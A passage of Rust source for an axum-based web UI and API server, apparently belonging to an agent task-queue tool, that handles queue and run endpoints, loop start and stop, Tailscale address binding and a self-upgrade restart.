1use std::collections::{HashMap, HashSet};
94use std::convert::Infallible;
95use std::net::{IpAddr, Ipv4Addr, SocketAddr};
96use std::path::{Path as FsPath, PathBuf};
97use std::pin::Pin;
98use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
99use std::time::Duration;
100use tokio::sync::Notify;
101
102use anyhow::{Context, Result};
103use axum::Json;
104use axum::Router;
105use axum::extract::rejection::JsonRejection;
106use axum::extract::{Path, Query, State};
107use axum::http::{HeaderValue, StatusCode, header};
108use axum::response::sse::{Event, KeepAlive, Sse};
109use axum::response::{IntoResponse, Response};
110use axum::routing::{delete, get, post};
111use jiff::Timestamp;
112use serde::{Deserialize, Serialize};
113use tokio_stream::StreamExt as _;
114use tokio_stream::wrappers::ReceiverStream;
115
116use crate::ask::{Answer, Question, Questions};
117use crate::chat::{Chat, Chats};
118use crate::config::Config;
119use crate::md;
120use crate::proc::Quiet as _;
121use crate::queue::{Queue, Task, title_from};
122use crate::run::{RunState, RunStatus};
123use crate::talk::{Talk, Talks};
124use crate::{chat, daemon, report, repos, run, talk, updater};
125
126pub const DEFAULT_PORT: u16 = 7878;
128
129const POLL: Duration = Duration::from_secs(1);
131
132const KEEPALIVE: Duration = Duration::from_secs(15);
136
137const LIST_DEFAULT: usize = 50;
141const LIST_MAX: usize = 500;
143
144const TITLE_MAX: usize = 72;
146
147const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
170 font-src data:; base-uri 'none'; form-action 'none'; \
171 frame-ancestors 'self'";
172
173const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
174const APP_CSS: &str = include_str!("../assets/ui/app.css");
175const APP_JS: &str = include_str!("../assets/ui/app.js");
176
177#[derive(Debug, Clone, Copy, PartialEq, Eq)]
179pub enum Bind {
180 Auto,
182 Addr(IpAddr),
184}
185
186impl std::str::FromStr for Bind {
187 type Err = String;
188
189 fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
193 if s.eq_ignore_ascii_case("auto") {
194 return Ok(Self::Auto);
195 }
196 s.parse()
197 .map(Self::Addr)
198 .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
199 }
200}
201
202impl std::fmt::Display for Bind {
203 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
204 match self {
205 Self::Auto => f.write_str("auto"),
206 Self::Addr(addr) => write!(f, "{addr}"),
207 }
208 }
209}
210
211#[derive(Debug, Clone)]
213pub struct Opts {
214 pub bind: Bind,
216 pub port: u16,
218 pub repo: PathBuf,
220 pub open: bool,
223 pub merge: Option<String>,
231}
232
233impl Default for Opts {
234 fn default() -> Self {
235 Self {
236 bind: Bind::Auto,
237 port: DEFAULT_PORT,
238 repo: PathBuf::from("."),
239 open: false,
240 merge: None,
241 }
242 }
243}
244
245#[derive(Debug, Clone)]
251pub struct Ui {
252 queue: Queue,
253 questions: Questions,
254 chats: Chats,
255 talks: Talks,
256 runs: PathBuf,
257 home: PathBuf,
258 repo: PathBuf,
259 worktrees_root: PathBuf,
266 turns: Arc<Mutex<HashSet<String>>>,
274 talk_turns: Arc<Mutex<HashSet<String>>>,
279 resuming: Arc<Mutex<HashSet<String>>>,
286 repos_cache: repos::Cache,
290 merge: Option<String>,
292 looping: Arc<Mutex<LoopState>>,
294 launch: Launch,
306}
307
308impl Ui {
309 pub fn new(
311 queue: Queue,
312 questions: Questions,
313 chats: Chats,
314 talks: Talks,
315 runs: PathBuf,
316 home: PathBuf,
317 repo: PathBuf,
318 ) -> Self {
319 Self {
320 queue,
321 questions,
322 chats,
323 talks,
324 runs,
325 home,
326 repo,
327 worktrees_root: run::default_worktree_root(),
331 turns: Arc::default(),
332 talk_turns: Arc::default(),
333 resuming: Arc::default(),
334 repos_cache: repos::Cache::new(),
335 merge: None,
336 looping: Arc::default(),
337 launch: launch_daemon,
338 }
339 }
340
341 pub fn open(repo: PathBuf) -> Self {
344 Self::new(
345 Queue::open(),
346 Questions::open(),
347 Chats::open(),
348 Talks::open(),
349 run::runs_root(),
350 run::home(),
351 repo,
352 )
353 }
354
355 #[must_use]
362 pub fn with_merge(mut self, merge: Option<String>) -> Self {
363 self.merge = merge;
364 self
365 }
366
367 #[must_use]
372 pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
373 self.worktrees_root = root;
374 self
375 }
376
377 #[cfg(test)]
382 #[must_use]
383 fn with_launch(mut self, launch: Launch) -> Self {
384 self.launch = launch;
385 self
386 }
387
388 fn looping(&self) -> Arc<Mutex<LoopState>> {
390 Arc::clone(&self.looping)
391 }
392
393 fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
400 if let Some(other) = foreign {
401 return Err(ApiError::conflict(format!(
402 "{} is already running the loop, so this one will not start a \
403 second: two loops on one queue race for the same claims and \
404 burn the agent quota twice over. Stop it where it was \
405 started.",
406 other.who()
407 )));
408 }
409 let mut state = self.lock_loop();
410 if state.live.as_ref().is_some_and(Live::alive) {
411 return Err(ApiError::conflict(format!(
412 "this magi web process (pid {}) is already running the loop",
413 std::process::id()
414 )));
415 }
416
417 let stop = daemon::Stop::new();
418 let opts = daemon::Opts {
422 repo: self.repo.clone(),
423 merge: self.merge.clone(),
424 ..daemon::Opts::default()
425 };
426 let launch = self.launch;
427 let looping = Arc::clone(&self.looping);
428 let handle = tokio::spawn({
429 let opts = opts.clone();
430 let stop = stop.clone();
431 async move {
432 let failure = match launch(opts, stop).await {
433 Ok(()) => None,
434 Err(e) => Some(format!("{e:#}")),
435 };
436 match &failure {
437 Some(why) => tracing::error!("the loop stopped: {why}"),
438 None => tracing::info!("the loop stopped"),
439 }
440 let mut state = lock_or_recover(&looping);
446 state.live = None;
447 state.last_error = failure;
448 state.rev += 1;
449 }
450 });
451 tracing::info!(
452 "the loop is now running in this process: repo {}, merge {}",
453 opts.repo.display(),
454 opts.merge.as_deref().unwrap_or("as the config says")
455 );
456 state.live = Some(Live { stop, handle, opts });
457 state.last_error = None;
460 state.rev += 1;
461 Ok(())
462 }
463
464 fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
470 if let Some(other) = foreign {
471 return Err(ApiError::conflict(format!(
472 "the loop belongs to {}, and this process cannot stop it - \
473 stop it where it was started. A button that silently did \
474 nothing would be worse than this refusal.",
475 other.who()
476 )));
477 }
478 let mut state = self.lock_loop();
479 let Some(live) = state.live.as_ref() else {
480 return Ok(());
481 };
482 if live.stop.stopped() && (!park || live.stop.parking()) {
486 return Ok(());
487 }
488 if park {
489 live.stop.park();
490 tracing::info!("the loop was asked to park; the run stops at its next node boundary");
491 } else {
492 live.stop.stop();
493 tracing::info!("the loop was asked to stop; a run in flight is finished first");
494 }
495 state.rev += 1;
496 Ok(())
497 }
498
499 fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
506 let state = self.lock_loop();
507 let live = state.live.as_ref().filter(|live| live.alive());
510 LoopView {
511 running: live.is_some(),
512 stopping: live.is_some_and(|live| live.stop.finishing()),
513 parking: live.is_some_and(|live| live.stop.parking()),
514 owned: live.is_some(),
515 repo: live
516 .map_or(&self.repo, |live| &live.opts.repo)
517 .display()
518 .to_string(),
519 merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
520 last_error: state.last_error.clone(),
521 daemon: DaemonView::of(reading),
522 }
523 }
524
525 fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
527 lock_or_recover(&self.looping)
528 }
529
530 fn begin_turn(&self, id: &str) -> ApiResult<TurnGuard> {
553 let mut live = self
554 .turns
555 .lock()
556 .map_err(|_| ApiError::internal("the chat turn lock was poisoned"))?;
557 if !live.insert(id.to_owned()) {
558 return Err(ApiError::conflict(format!(
559 "chat {id} is already taking a turn"
560 )));
561 }
562 Ok(TurnGuard {
563 chat: id.to_owned(),
564 turns: Arc::clone(&self.turns),
565 })
566 }
567
568 fn begin_talk_turn(&self, id: &str) -> ApiResult<TalkTurnGuard> {
572 let mut live = self
573 .talk_turns
574 .lock()
575 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
576 if !live.insert(id.to_owned()) {
577 return Err(ApiError::conflict(format!(
578 "talk {id} is already taking a turn"
579 )));
580 }
581 Ok(TalkTurnGuard {
582 talk: id.to_owned(),
583 turns: Arc::clone(&self.talk_turns),
584 })
585 }
586
587 fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
594 let parking = {
595 let mut state = self.lock_loop();
596 let Some(live) = state.live.as_ref() else {
597 return Ok(None);
598 };
599 let busy = live.stop.busy_now();
600 live.stop.park();
601 state.rev += 1;
602 busy
603 };
604 Ok(if parking {
605 daemon::current_work(&self.home, jiff::Timestamp::now()).map(|c| c.run)
606 } else {
607 None
608 })
609 }
610
611 fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
615 let mut live = self
616 .resuming
617 .lock()
618 .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
619 if !live.insert(id.to_owned()) {
620 return Err(ApiError::conflict(format!(
621 "run {id} is already being resumed"
622 )));
623 }
624 Ok(ResumeGuard {
625 run: id.to_owned(),
626 resuming: Arc::clone(&self.resuming),
627 })
628 }
629
630 pub fn router(self) -> Router {
638 Router::new()
639 .route("/", get(index))
640 .route("/app.css", get(app_css))
641 .route("/app.js", get(app_js))
642 .route("/api/health", get(health))
643 .route("/api/loop", get(loop_get).post(loop_post))
644 .route("/api/upgrade", post(upgrade_post))
645 .route("/api/runs", get(runs_list))
646 .route("/api/runs/{id}", get(run_detail).delete(run_delete))
647 .route("/api/runs/{id}/report", get(run_report))
648 .route("/api/runs/{id}/fold", post(run_fold))
649 .route("/api/runs/{id}/resume", post(run_resume))
650 .route("/api/queue", get(queue_list))
651 .route("/api/queue/{id}", delete(queue_delete))
652 .route("/api/repos", get(repos_list))
653 .route("/api/queue/{id}/hold", post(queue_hold))
654 .route("/api/queue/{id}/release", post(queue_release))
655 .route("/api/queue/{id}/priority", post(queue_priority))
656 .route("/api/queue/{id}/edit", post(queue_edit))
657 .route("/api/queue/{id}/done", post(queue_done))
658 .route("/api/questions", get(questions_list))
659 .route("/api/questions/{id}/answer", post(question_answer))
660 .route("/api/questions/{id}/panel", get(question_panel))
661 .route("/api/questions/{id}/panel/index.html", get(question_panel))
669 .route("/api/questions/{id}/panel/{name}", get(question_asset))
670 .route("/api/questions/{id}/asset/{name}", get(question_asset))
671 .route("/api/chats", get(chats_list).post(chat_post))
672 .route("/api/chats/{id}", get(chat_detail))
673 .route("/api/chats/{id}/say", post(chat_say))
674 .route("/api/chats/{id}/file", post(chat_file))
675 .route("/api/talks", get(talks_list).post(talk_post))
676 .route("/api/talks/{id}", get(talk_detail))
677 .route("/api/talks/{id}/say", post(talk_say))
678 .route("/api/talks/{id}/close", post(talk_close))
679 .route("/api/events", get(events))
680 .with_state(Arc::new(self))
681 }
682}
683
684#[derive(Debug)]
690struct TurnGuard {
691 chat: String,
692 turns: Arc<Mutex<HashSet<String>>>,
693}
694
695impl Drop for TurnGuard {
696 fn drop(&mut self) {
697 if let Ok(mut live) = self.turns.lock() {
698 live.remove(&self.chat);
699 }
700 }
701}
702
703#[derive(Debug)]
705struct TalkTurnGuard {
706 talk: String,
707 turns: Arc<Mutex<HashSet<String>>>,
708}
709
710impl Drop for TalkTurnGuard {
711 fn drop(&mut self) {
712 if let Ok(mut live) = self.turns.lock() {
713 live.remove(&self.talk);
714 }
715 }
716}
717
718struct ResumeGuard {
720 run: String,
721 resuming: Arc<Mutex<HashSet<String>>>,
722}
723
724impl Drop for ResumeGuard {
725 fn drop(&mut self) {
726 if let Ok(mut live) = self.resuming.lock() {
727 live.remove(&self.run);
728 }
729 }
730}
731
732async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
742 const WINDOW: Duration = Duration::from_secs(10);
743 const GAP: Duration = Duration::from_millis(250);
744
745 let deadline = std::time::Instant::now() + WINDOW;
746 let mut said = false;
747 loop {
748 match tokio::net::TcpListener::bind(socket).await {
749 Ok(listener) => return Ok(listener),
750 Err(e)
751 if e.kind() == std::io::ErrorKind::AddrInUse
752 && std::time::Instant::now() < deadline =>
753 {
754 if !said {
755 said = true;
756 tracing::info!(
757 "{socket} is still held - waiting up to {}s for it, \
758 which is what a restart looks like from here",
759 WINDOW.as_secs()
760 );
761 }
762 tokio::time::sleep(GAP).await;
763 }
764 Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
765 }
766 }
767}
768
769static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
772
773fn spawn_successor() -> Result<()> {
785 let exe = std::env::current_exe().context("find this binary")?;
786 let args: Vec<String> = std::env::args().skip(1).collect();
787 tracing::info!("restarting: {} {}", exe.display(), args.join(" "));
788
789 let mut cmd = std::process::Command::new(&exe);
790 cmd.args(&args)
791 .stdin(std::process::Stdio::null())
792 .stdout(std::process::Stdio::null())
793 .stderr(std::process::Stdio::null());
794 #[cfg(windows)]
795 {
796 use std::os::windows::process::CommandExt as _;
797 cmd.creation_flags(0x0000_0008 | 0x0000_0200);
800 }
801 cmd.spawn().context("start the successor")?;
802 Ok(())
803}
804
805pub async fn serve(opts: Opts) -> Result<()> {
830 let (addr, warning) = resolve_bind(&opts.bind);
831 if let Some(warning) = warning {
832 tracing::warn!("{warning}");
833 }
834
835 report::set_color(false);
841
842 let ui = Ui::open(opts.repo).with_merge(opts.merge);
843 let home = ui.home.clone();
847 updater::reconcile_after_restart(&home);
852 let looping = ui.looping();
853 let socket = SocketAddr::new(addr, opts.port);
854 let listener = bind_waiting(socket).await?;
855 let url = format!("http://{addr}:{}", opts.port);
856 tracing::info!(
857 "magi web UI on {url} - there is no authentication, so anyone who can \
858 reach this address can file and hold tasks: the tailnet is the \
859 security boundary"
860 );
861 tracing::info!(
862 "the queue loop is not running yet - start it from the UI, which is \
863 the whole reason this process can: nothing in the queue moves until \
864 something is running the loop"
865 );
866 if opts.open {
867 println!("{url}");
871 }
872
873 let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
876 let interrupted = async {
877 if tokio::signal::ctrl_c().await.is_err() {
878 std::future::pending::<()>().await;
883 }
884 };
885 let handover = HANDOVER.notified();
886 tokio::select! {
887 joined = &mut served => match joined {
888 Ok(outcome) => outcome.context("serve the web UI"),
889 Err(e) => Err(e).context("the task serving the web UI ended"),
890 },
891 () = interrupted => {
892 tracing::info!("shutting down the web UI");
893 finish_loop(&looping).await;
894 Ok(())
895 }
896 () = handover => {
897 tracing::info!("upgraded - handing this address to the successor");
898 hand_over(&home, &looping, served, spawn_successor).await
899 }
900 }
901}
902
903async fn hand_over(
931 home: &FsPath,
932 looping: &Mutex<LoopState>,
933 served: tokio::task::JoinHandle<std::io::Result<()>>,
934 successor: impl FnOnce() -> Result<()>,
935) -> Result<()> {
936 if let Some(mut progress) = updater::read_progress(home) {
937 progress.advance(updater::Stage::Parking);
938 let _ = updater::write_progress(home, &progress);
939 }
940 finish_loop(looping).await;
941 served.abort();
942 let _ = served.await;
943 if let Some(mut progress) = updater::read_progress(home) {
944 progress.advance(updater::Stage::Restarting);
945 let _ = updater::write_progress(home, &progress);
946 }
947 successor()
948}
949
950async fn finish_loop(state: &Mutex<LoopState>) {
957 let live = lock_or_recover(state).live.take();
958 let Some(live) = live else { return };
959 live.stop.stop();
960 lock_or_recover(state).rev += 1;
961 tracing::info!("waiting for the loop to finish the run in flight");
962 let _ = live.handle.await;
965}
966
967pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
973 match bind {
974 Bind::Addr(addr) => (*addr, None),
975 Bind::Auto => match tailscale_ip() {
976 Ok(ip) => (IpAddr::V4(ip), None),
977 Err(why) => (
978 IpAddr::V4(Ipv4Addr::LOCALHOST),
979 Some(format!(
980 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
981 local-only and a phone cannot reach it; start Tailscale \
982 or pass --bind <addr>"
983 )),
984 ),
985 },
986 }
987}
988
989fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
997 let out = std::process::Command::new("tailscale")
998 .args(["ip", "-4"])
999 .quiet()
1000 .output()
1001 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1002 if !out.status.success() {
1003 let why = String::from_utf8_lossy(&out.stderr);
1004 let why = why.trim();
1005 return Err(format!(
1006 "`tailscale ip -4` failed ({}){}",
1007 out.status,
1008 if why.is_empty() {
1009 String::new()
1010 } else {
1011 format!(": {why}")
1012 }
1013 ));
1014 }
1015 String::from_utf8_lossy(&out.stdout)
1016 .lines()
1017 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1018 .find(is_tailnet)
1019 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1020}
1021
1022fn is_tailnet(ip: &Ipv4Addr) -> bool {
1024 let o = ip.octets();
1025 o[0] == 100 && (64..=127).contains(&o[1])
1026}
1027
1028type ApiResult<T> = std::result::Result<T, ApiError>;
1032
1033#[derive(Debug)]
1035struct ApiError {
1036 status: StatusCode,
1037 message: String,
1038 problems: Vec<String>,
1048}
1049
1050impl ApiError {
1051 fn bad_request(message: impl Into<String>) -> Self {
1053 Self {
1054 status: StatusCode::BAD_REQUEST,
1055 message: message.into(),
1056 problems: Vec::new(),
1057 }
1058 }
1059
1060 fn bad_request_with(message: impl Into<String>, problems: Vec<String>) -> Self {
1062 Self {
1063 problems,
1064 ..Self::bad_request(message)
1065 }
1066 }
1067
1068 fn not_found(message: impl Into<String>) -> Self {
1070 Self {
1071 status: StatusCode::NOT_FOUND,
1072 message: message.into(),
1073 problems: Vec::new(),
1074 }
1075 }
1076
1077 fn with_status(mut self, status: StatusCode) -> Self {
1080 self.status = status;
1081 self
1082 }
1083
1084 fn bad_request_from(e: anyhow::Error) -> Self {
1088 Self::bad_request(format!("{e:#}"))
1089 }
1090
1091 fn conflict(message: impl Into<String>) -> Self {
1092 Self {
1093 status: StatusCode::CONFLICT,
1094 message: message.into(),
1095 problems: Vec::new(),
1096 }
1097 }
1098
1099 fn internal(message: impl Into<String>) -> Self {
1101 Self {
1102 status: StatusCode::INTERNAL_SERVER_ERROR,
1103 message: message.into(),
1104 problems: Vec::new(),
1105 }
1106 }
1107}
1108
1109impl From<anyhow::Error> for ApiError {
1110 fn from(e: anyhow::Error) -> Self {
1115 Self::internal(format!("{e:#}"))
1116 }
1117}
1118
1119impl IntoResponse for ApiError {
1120 fn into_response(self) -> Response {
1121 let mut body = serde_json::json!({ "error": self.message });
1122 if !self.problems.is_empty() {
1123 if let Some(map) = body.as_object_mut() {
1125 map.insert("problems".to_owned(), serde_json::json!(self.problems));
1126 }
1127 }
1128 (self.status, Json(body)).into_response()
1129 }
1130}
1131
1132async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1141where
1142 T: Send + 'static,
1143{
1144 match tokio::task::spawn_blocking(job).await {
1145 Ok(result) => result,
1146 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1147 }
1148}
1149
1150const ASSET_CACHE: &str = "no-cache, must-revalidate";
1168
1169fn asset_etag() -> &'static str {
1176 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1177 format!(
1178 "\"{}-{}\"",
1179 env!("CARGO_PKG_VERSION"),
1180 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1185 )
1186 });
1187 &TAG
1188}
1189
1190fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1192 [
1193 (header::CONTENT_TYPE, mime),
1194 (header::CACHE_CONTROL, ASSET_CACHE),
1195 (header::ETAG, asset_etag()),
1196 ]
1197}
1198
1199fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1207 let tag = asset_etag();
1208 let known = headers
1209 .get(header::IF_NONE_MATCH)
1210 .and_then(|v| v.to_str().ok())
1211 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1215 if known {
1216 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1217 }
1218 (asset_headers(mime), body).into_response()
1219}
1220
1221async fn index(headers: header::HeaderMap) -> Response {
1222 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1223}
1224
1225async fn app_css(headers: header::HeaderMap) -> Response {
1226 asset(&headers, "text/css; charset=utf-8", APP_CSS)
1227}
1228
1229async fn app_js(headers: header::HeaderMap) -> Response {
1230 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1231}
1232
1233#[derive(Debug, Serialize)]
1235struct HealthView {
1236 version: &'static str,
1237 home: String,
1238 queue_rev: u64,
1239 runs_rev: u64,
1240 questions_rev: u64,
1252 chats_rev: u64,
1254 talks_rev: u64,
1259 loop_rev: u64,
1264 runs_unreadable: usize,
1272 disk: DiskView,
1280 questions_open: usize,
1285 chats_open: usize,
1293 daemon: DaemonView,
1294 #[serde(rename = "loop")]
1300 looping: LoopView,
1301 update: UpdateView,
1308 upgrade: Option<UpgradeProgressView>,
1312}
1313
1314#[derive(Debug, Serialize)]
1321struct UpdateView {
1322 available: bool,
1324 to: Option<String>,
1326}
1327
1328#[derive(Debug, Serialize)]
1330struct UpgradeProgressView {
1331 stage: updater::Stage,
1332 from: String,
1333 to: Option<String>,
1334 waiting_on: Option<String>,
1337 started_at: Timestamp,
1338 updated_at: Timestamp,
1339 detail: Option<String>,
1340}
1341
1342fn cached_update_view(repo: &FsPath) -> UpdateView {
1348 let (cfg, _) = Config::discover(repo, None).unwrap_or_default();
1349 let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
1350 match latest {
1351 Some(latest) => UpdateView {
1352 available: true,
1353 to: Some(latest.tag_name),
1354 },
1355 None => UpdateView {
1356 available: false,
1357 to: None,
1358 },
1359 }
1360}
1361
1362fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
1368 let waiting_on = (progress.stage == updater::Stage::Parking)
1369 .then_some(progress.parked_run.as_deref())
1370 .flatten()
1371 .and_then(|id| read_run(&ui.runs, id).ok())
1372 .map(|run| {
1373 format!(
1374 "run {} is finishing {} before the address is handed over",
1375 run.short(),
1376 run.status.as_str()
1377 )
1378 });
1379 UpgradeProgressView {
1380 stage: progress.stage,
1381 from: progress.from,
1382 to: progress.to,
1383 waiting_on,
1384 started_at: progress.started_at,
1385 updated_at: progress.updated_at,
1386 detail: progress.detail,
1387 }
1388}
1389
1390#[derive(Debug, Serialize)]
1395struct DiskView {
1396 #[serde(skip_serializing_if = "Option::is_none")]
1398 free_bytes: Option<u64>,
1399 runs_bytes: u64,
1401 worktrees_bytes: u64,
1403 #[serde(skip_serializing_if = "Option::is_none")]
1405 cache_bytes: Option<u64>,
1406}
1407
1408impl DiskView {
1409 fn of(ui: &Ui) -> Self {
1411 let cache_bytes = Config::discover(&ui.repo, None)
1412 .ok()
1413 .and_then(|(cfg, _)| cfg.cache_dir())
1414 .map(|dir| crate::disk::dir_size(&dir));
1415 Self {
1416 free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
1417 runs_bytes: crate::disk::dir_size(&ui.runs),
1418 worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
1419 cache_bytes,
1420 }
1421 }
1422}
1423
1424#[derive(Debug, Serialize)]
1426struct DaemonView {
1427 running: bool,
1428 idle: Option<bool>,
1429 pid: Option<u32>,
1430 current: Option<daemon::Current>,
1431 completed: Option<u64>,
1432 stale_for_secs: Option<i64>,
1433}
1434
1435impl DaemonView {
1436 fn of(status: Option<daemon::Reading>) -> Self {
1440 let Some(status) = status else {
1441 return Self {
1442 running: false,
1443 idle: None,
1444 pid: None,
1445 current: None,
1446 completed: None,
1447 stale_for_secs: None,
1448 };
1449 };
1450 let now = Timestamp::now();
1451 let age = status.age_secs(now);
1452 Self {
1453 running: status.running(now),
1454 idle: Some(status.idle),
1455 pid: status.pid,
1456 current: status.current,
1457 completed: Some(status.completed),
1458 stale_for_secs: age,
1459 }
1460 }
1461}
1462
1463async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
1464 blocking(move || {
1465 let reading = daemon::read_status(&ui.home);
1469 let loop_rev = ui.lock_loop().rev;
1473 let update = cached_update_view(&ui.repo);
1474 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
1475 Ok(Json(HealthView {
1476 version: env!("CARGO_PKG_VERSION"),
1477 home: ui.home.display().to_string(),
1478 queue_rev: ui.queue.revision(),
1479 runs_rev: runs_revision(&ui.runs),
1480 questions_rev: ui.questions.revision(),
1481 chats_rev: ui.chats.revision(),
1482 talks_rev: ui.talks.revision(),
1483 loop_rev,
1484 runs_unreadable: runs_unreadable(&ui.runs),
1485 questions_open: ui.questions.count_open(),
1486 chats_open: ui.chats.count_open(),
1487 daemon: DaemonView::of(reading.clone()),
1488 looping: ui.loop_view(reading),
1489 disk: DiskView::of(&ui),
1490 update,
1491 upgrade,
1492 }))
1493 })
1494 .await
1495}
1496
1497#[derive(Debug, Serialize)]
1499struct LoopView {
1500 running: bool,
1502 stopping: bool,
1510 parking: bool,
1518 owned: bool,
1526 repo: String,
1529 merge: Option<String>,
1532 last_error: Option<String>,
1540 daemon: DaemonView,
1543}
1544
1545#[derive(Debug, Clone, Copy)]
1554struct Foreign {
1555 pid: Option<u32>,
1557}
1558
1559impl Foreign {
1560 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
1563 let reading = reading?;
1564 if !reading.running(Timestamp::now()) {
1565 return None;
1566 }
1567 match reading.pid {
1568 Some(pid) if pid == std::process::id() => None,
1569 pid => Some(Self { pid }),
1573 }
1574 }
1575
1576 fn who(&self) -> String {
1579 match self.pid {
1580 Some(pid) => format!("another magi process (pid {pid})"),
1581 None => "another magi process".to_owned(),
1582 }
1583 }
1584}
1585
1586type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
1591
1592fn launch_daemon(
1594 opts: daemon::Opts,
1595 stop: daemon::Stop,
1596) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
1597 Box::pin(daemon::serve_until(opts, stop))
1598}
1599
1600#[derive(Debug, Default)]
1602struct LoopState {
1603 live: Option<Live>,
1605 rev: u64,
1613 last_error: Option<String>,
1616}
1617
1618#[derive(Debug)]
1620struct Live {
1621 stop: daemon::Stop,
1623 handle: tokio::task::JoinHandle<()>,
1628 opts: daemon::Opts,
1632}
1633
1634impl Live {
1635 fn alive(&self) -> bool {
1637 !self.handle.is_finished()
1638 }
1639}
1640
1641fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
1648 state.lock().unwrap_or_else(PoisonError::into_inner)
1649}
1650
1651async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
1653 blocking(move || {
1654 let reading = daemon::read_status(&ui.home);
1655 Ok(Json(ui.loop_view(reading)))
1656 })
1657 .await
1658}
1659
1660#[derive(Debug, Deserialize)]
1666#[serde(deny_unknown_fields)]
1667struct LoopCommand {
1668 running: bool,
1669 #[serde(default)]
1679 park: bool,
1680}
1681
1682async fn loop_post(
1690 State(ui): State<Arc<Ui>>,
1691 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
1692) -> ApiResult<Json<LoopView>> {
1693 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
1696 blocking(move || {
1697 let reading = daemon::read_status(&ui.home);
1698 let foreign = Foreign::of(reading.as_ref());
1699 if body.running {
1700 ui.start_loop(foreign)?;
1701 } else {
1702 ui.stop_loop(foreign, body.park)?;
1703 }
1704 Ok(Json(ui.loop_view(reading)))
1705 })
1706 .await
1707}
1708
1709#[derive(Debug, Serialize)]
1711struct UpgradeView {
1712 from: String,
1714 to: Option<String>,
1716 parked: Option<String>,
1718 detail: String,
1720}
1721
1722async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
1746 let reading = daemon::read_status(&ui.home);
1747 if let Some(other) = Foreign::of(reading.as_ref()) {
1748 return Err(ApiError::conflict(format!(
1749 "the loop belongs to {}, so replacing this binary would leave \
1750 that process running an old one against the same queue. Upgrade \
1751 where it was started.",
1752 other.who()
1753 )));
1754 }
1755
1756 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
1761 let from = env!("CARGO_PKG_VERSION").to_owned();
1762 let latest = match crate::updater::Checker::new(&cfg.update) {
1763 Some(checker) => checker
1764 .newer_release()
1765 .await
1766 .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
1767 None => None,
1768 };
1769 let Some(latest) = latest else {
1770 return Ok((
1771 StatusCode::OK,
1772 Json(UpgradeView {
1773 from,
1774 to: None,
1775 parked: None,
1776 detail: "Already on the newest release. Nothing was parked \
1777 and nothing restarted."
1778 .to_owned(),
1779 }),
1780 ));
1781 };
1782
1783 let parked = ui.park_for_upgrade()?;
1786 let detail = match &parked {
1787 Some(run) => format!(
1792 "Run {} is parking at its next step, which can take as long as \
1793 the step it is on - up to an hour for an implement wave. The \
1794 deck replaces itself once it parks, comes back, and the loop \
1795 carries that run on from where it stopped. Nothing is lost if \
1796 you close this.",
1797 crate::run::short_of(run)
1798 ),
1799 None => "The deck replaces itself and comes back. Nothing was in \
1800 flight to park."
1801 .to_owned(),
1802 };
1803
1804 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
1808 progress.parked_run = parked.clone();
1809 let _ = updater::write_progress(&ui.home, &progress);
1810
1811 let home = ui.home.clone();
1812 tokio::spawn(async move {
1813 if let Err(e) = upgrade_and_restart(home.clone()).await {
1814 tracing::error!("the upgrade did not complete: {e:#}");
1815 if let Some(mut progress) = updater::read_progress(&home) {
1816 progress.fail(format!("{e:#}"));
